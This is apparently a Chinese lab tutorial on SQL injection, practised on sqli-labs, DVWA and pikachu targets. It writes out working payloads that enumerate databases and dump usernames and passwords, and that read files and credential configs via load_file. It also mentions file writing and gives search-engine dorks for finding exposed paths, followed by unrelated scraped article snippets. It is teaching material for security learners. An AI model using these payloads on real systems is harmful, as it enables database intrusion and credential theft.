SQL-Injection

news2024/11/20 2:19:27

文章目录

      • 引入
        • columns表
        • tables表
        • schemata表
        • 以sqli-labs靶场为例
        • 路径获取常见方法
        • 文件读取函数
        • 文件写入函数
        • 防注入
      • 数字型注入(post)
      • 字符型注入(get)
      • 搜索型注入
      • xx型注入

image-20230815221138682

引入

MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

数据库中符号"."代表下一级,如security.users表示security数据库下的users表名

image-20230814205017557

查看information_schema里的所有表 show tables;

在这里插入图片描述

columns表

select * from columns\G;

table_schema存储的是数据库的名称

image-20230814211054519

tables表

image-20230814210508460

schemata表

schema_name字段存放数据库的名字

image-20230814211150506

information_schema.tables   #记录所有表名信息的表
information_schema.columns  #记录所有列名信息的表
table_name                  #表名
column_name                 #列名
table_schema                #数据库名

函数

database()  #数据库名
version()  #数据库版本
user()   #用户名

以sqli-labs靶场为例

1、判断注入类型

?id=1 and 1=1 --+
?id=1 and 1=2 --+

image-20230814212338725

image-20230814212404812

注入类型为数字型

2、判断列数

?id=1 order by 3--+
?id=1 order by 4--+      -- 报错

image-20230814212530433

3、判断显示位

?id=-1 union select 1,2,3 --+

image-20230814212615284

第二位和第三位为显示位

4、获取所有数据库

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

image-20230814212735861

group_concat这个函数默认是跟group by 分组来一起使用的

如果没有使用group by语句,那么默认就是一个组,会显示所有的内容

详见博客


5、获取当前数据库

?id=-1 union select 1,2,database() --+

image-20230814213605037

6、获取用户名和数据库版本

?id=-1 union select 1,version(),user() --+

可以看到当前是以root用户登录的数据库,数据库版本是5.7.26

image-20230814213457277



跨表查询:↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓

7、查看指定dvwa数据库下的所有表名信息

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where  table_schema='dvwa' --+

image-20230814214008586

7、查看指定pikachu数据库下表名为users的所有列信息

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where  table_schema='pikachu'  and table_name='users'--+

image-20230814214237328

查看数据库验证是否正确

image-20230814214350149

8、查询pikachu库下的users表的数据

?id=-1 union select 1,username,password from pikachu.users--+

image-20230814214649437

?id=-1 union select 1,2,group_concat(username,password) from pikachu.users--+

image-20230814214802971

?id=-1 union select 1,group_concat(username),group_concat(password) from pikachu.users--+

image-20230814214926228

?id=-1 union select 1,group_concat(concat_ws("-",username,password)),3 from pikachu.users--+

concat_ws将多个字符串连接成一个字符串,第一个参数指定分隔符,分隔符不能为null,如果为null,则返回结果为null

image-20230814215055839

concat_ws函数和concat函数的区别

路径获取常见方法

1、报错显示

浏览器输入框inurl:edu.cn warning

image-20230815192354329

2、遗留文件 inurl:phpinfo.php

3、漏洞报错

4、平台配置文件

5、爆破

文件读取函数

load_file()  #读取函数
# select load_file('c:/xx.txt');

load_file读取敏感信息

image-20230815194228604

1、读取指定文件内容

http://192.168.80.139/sqli/Less-3/?id=-1')  union select 1,load_file('c:/test/demo.txt'),3--+

在这里插入图片描述

image-20230815194838300

2、读取网站数据库配置文件

C:\software\phpstudy_pro\WWW\sqli\sql-connections\db-creds.inc

image-20230815195224707

http://192.168.80.139/sqli/Less-3/?id=-1')  union select 1,load_file('C:\\software\\phpstudy_pro\\WWW\\sqli\\sql-connections\\db-creds.inc'),3--+

image-20230815195400128右键查看网页源代码

image-20230815195419487

文件写入函数

into outfile 或者 into dumpfile   #写入函数
#select 'x'  into outfile 'd:/www.txt';

防注入

魔术引号

内置函数 int

image-20230815202559859

自定义关键字:select

image-20230815202450124

WAF防护软件

数字型注入(post)

id=1 or 1=1

在这里插入图片描述

字符型注入(get)

直接输入1' or 1=1#

在这里插入图片描述

或者用bp抓包,构造闭合

name=1'or'1'='1

在这里插入图片描述

搜索型注入

搜索框中输入a

在这里插入图片描述

sql语句

select from 表名 where username like '%a%';

构造闭合a%' or 1=1# #号在数据库中表示注释

select from 表名 where username like '%a%' or 1=1#%';

在这里插入图片描述

xx型注入

就是猜闭合罢了

看源代码

vim /var/www/html/pikachu/vul/sqli/sqli_x.php

在这里插入图片描述

select id,email from member where username=('$name');

构造闭合xx') or 1=1#

select id,email from member where username=('xx') or 1=1#');

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/898034.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python通过S7协议读取西门子200smart数据

发现网上很多关于python通过s7协议控制200smart的代码都失败,我猜应该是版本的问题。自己捣鼓了半天,终于测试成功 from snap7 import util,clientmy_plc client.Client() #建立一个客户端对象 my_plc.set_connection_type(3) #如果是200smart,必须有此…

2023 最新 小丫软件库app开源源码 PHP后端

上传了源码解压之后,在admin/public/config.php修改后台登录账号和密码 后台地址:域名或者ip/admin 然后自己修改配置即可 后端搭建完成,现在导入iapp源码 导入iapp源码之后,修改mian.iyu载入事件的对接api和url就可以打包了 sss …

TPS_C++版本及功能支持备注

TPS_C版本及功能支持备注 相关参考链接C23:https://zh.cppreference.com/w/cpp/23 相关参考链接C20:https://zh.cppreference.com/w/cpp/20 相关参考链接C17:https://zh.cppreference.com/w/cpp/17 相关参考链接C14:https://zh.cp…

【Linux】make/makefile自动化构建工具

文章目录 前言一、什么是make/makefile?二、依赖关系和依赖方法2.1 makefile中创建文件2.2 makefile中删除文件2.3 stat指令查看文件的三种时间(ACM)2.4 伪目标文件(.PHONY) 三、Makefile中的一些特殊符号3.1 $ 和 $^3…

Spring基础学习

一 Spring 框架概述 1.1 Spring 概述 轻量级开源的 JavaEE 框架。解决企业开发应用的复杂性。 Spring的核心部分: IOC:控制反转(Inversion of Controll),将创建对象的过程交由 Spring 管理AOP:面向切面编程(Aspect …

云服务器-Docker容器-系统搭建部署

一、引言 最近公司在海外上云服务器,作者自己也搞了云服务器去搭建部署系统,方便了解整体架构和系统的生命周期,排查解决问题可以从原理侧进行分析实验。虽然用的云不是同一个,但是原理都是相通的。 二、选型 作者选用的是腾讯云…

进入嵌入式之后究竟会干些什么?

嵌入式被称为互联网、计算机行业的万金油,未来的就业方向多种多样,工作内容也不一而足,但可以分为如下几个角度: 架构师 在大型企业中,一个人很难承担过多的任务,因为这会带来很大的风险。大企业更需要在…

Find My资讯|苹果Vision Pro开发者需将设备配对 AirTag

最近苹果Vision Pro获开发者申请,苹果要求获批的申请者使用 Measure and Fit 应用确认合适的佩戴尺寸,并会根据申请者提交的信息,定制不同的 Vision Pro 开发者套件,以便于契合申请者的面部特征,提供更好的佩戴体验。 …

N4010A|安捷伦Agilent N4010A蓝牙测试仪

描述 N4010A是一款多功能多格式无线连接测试解决方案,您可以针对R&D、集成和验证或制造中的特定蓝牙、无线局域网(WLAN) 802.11a、b和g以及ZigBee应用进行配置。 特征 测试多种技术的灵活性通过快速、准确的测量提高生产量从开发到生产的可重复测量结果适应新…

MySQL索引下推讲解

文章目录 一、什么是索引下推二、MySQL架构图三、DEMO演示过程 一、什么是索引下推 索引条件下推(Index Condition Pushdown,ICP)是MySQL 5.6版本后引入的一项新特性。它通过减少回表的次数来提高数据库的查询效率。 在不使用ICP的情况下&am…

Optional的基础运用

Optional的基础运用 简介代码示例 简介 代码示例 package org.example;import org.junit.Test;import java.util.Optional;public class OptionalTest {Testpublic void advance() {String str "hello";str null;// of(T t):封装数据t生成Optional对象&#xff0c…

贝叶斯推理问题、MCMC和变分推理

一、介绍 贝叶斯推理是统计学中的一个主要问题,在许多机器学习方法中也会遇到。例如,用于分类的高斯混合模型或用于主题建模的潜在狄利克雷分配都是在拟合数据时需要解决此类问题的图形模型。 同时,可以注意到,贝叶斯推理问题有时…

2018年9月全国计算机等级考试真题(C语言二级)

2018年9月全国计算机等级考试真题(C语言二级) 第1题 若有以下程序 main() { int a6, b0, c0; for(;a;) { ba; a-c; } printf("%d,%d,%d\n",a,b,c); } 则程序的输出结果是 A. 1,14,3 B. 0,18,3 C. …

【C语言】指针的进阶

目录 一、字符指针 二、指针数组 三、数组指针 1.数组指针的定义 2.&数组名和数组名区别 3.数组指针的使用 四、数组参数与指针参数 1.一维数组传参 2.二维数组传参 3.一级指针传参 4.二级指针传参 五、函数指针 六、函数指针数组 七、指向函数指针数组的指针…

【Matter】设备入网流程

官方信息 认证、配网过程 https://developers.home.google.com/matter/primer/commissioning Commissioning 是一个动作,待入网设备Commissionee 加入到Commissioner 过程 1.第一步,设备发现,比如通过ble 蓝牙方式 2.第二步,建…

科技资讯|苹果Vision Pro新专利曝光:可调节液态透镜

苹果公司近日申请了名为“带液态镜头的电子设备”,概述了未来可能的头显设计。头显设备中的透镜采用可调节的液态透镜,每个透镜可以具有填充有液体的透镜腔,透镜室可以具有形成光学透镜表面的刚性和 / 或柔性壁。 包括苹果自家的 Vision Pr…

嵌入式入门教学——C51(中)

嵌入式入门教学汇总: 嵌入式入门教学——C51(上)嵌入式入门教学——C51(中)嵌入式入门教学——C51(下) 目录 七、矩阵键盘 八、定时器和中断 九、串口通信 十、LED点阵屏 十一、DS1302实…

谷歌云 | 最大限度地提高可靠性降低成本:调整 Kubernetes 工作负载的大小

【Cloud Ace 是谷歌云全球战略合作伙伴,拥有 300 多名工程师,也是谷歌最高级别合作伙伴,多次获得 Google Cloud 合作伙伴奖。作为谷歌托管服务商,我们提供谷歌云、谷歌地图、谷歌办公套件、谷歌云认证培训服务。】 您知道通过调整…

计蒜客T1266——出勤记录

水题&#xff0c;唯一考验操作水平的只有同级连续字符串最大值这一操作&#xff0c;解决方式如下&#xff1a; int late-1; //连续缺勤的次数 int max0;//最长连续的L //缺勤检验 for(int k0;k<temp.size()-1;k){if(temp[k]L&&late-1){late1;//当前是连续的第一个…

国产之光:讯飞星火最新大模型V2.0

大家好&#xff0c;我是herosunly。985院校硕士毕业&#xff0c;现担任算法研究员一职&#xff0c;热衷于机器学习算法研究与应用。曾获得阿里云天池比赛第一名&#xff0c;CCF比赛第二名&#xff0c;科大讯飞比赛第三名。拥有多项发明专利。对机器学习和深度学习拥有自己独到的…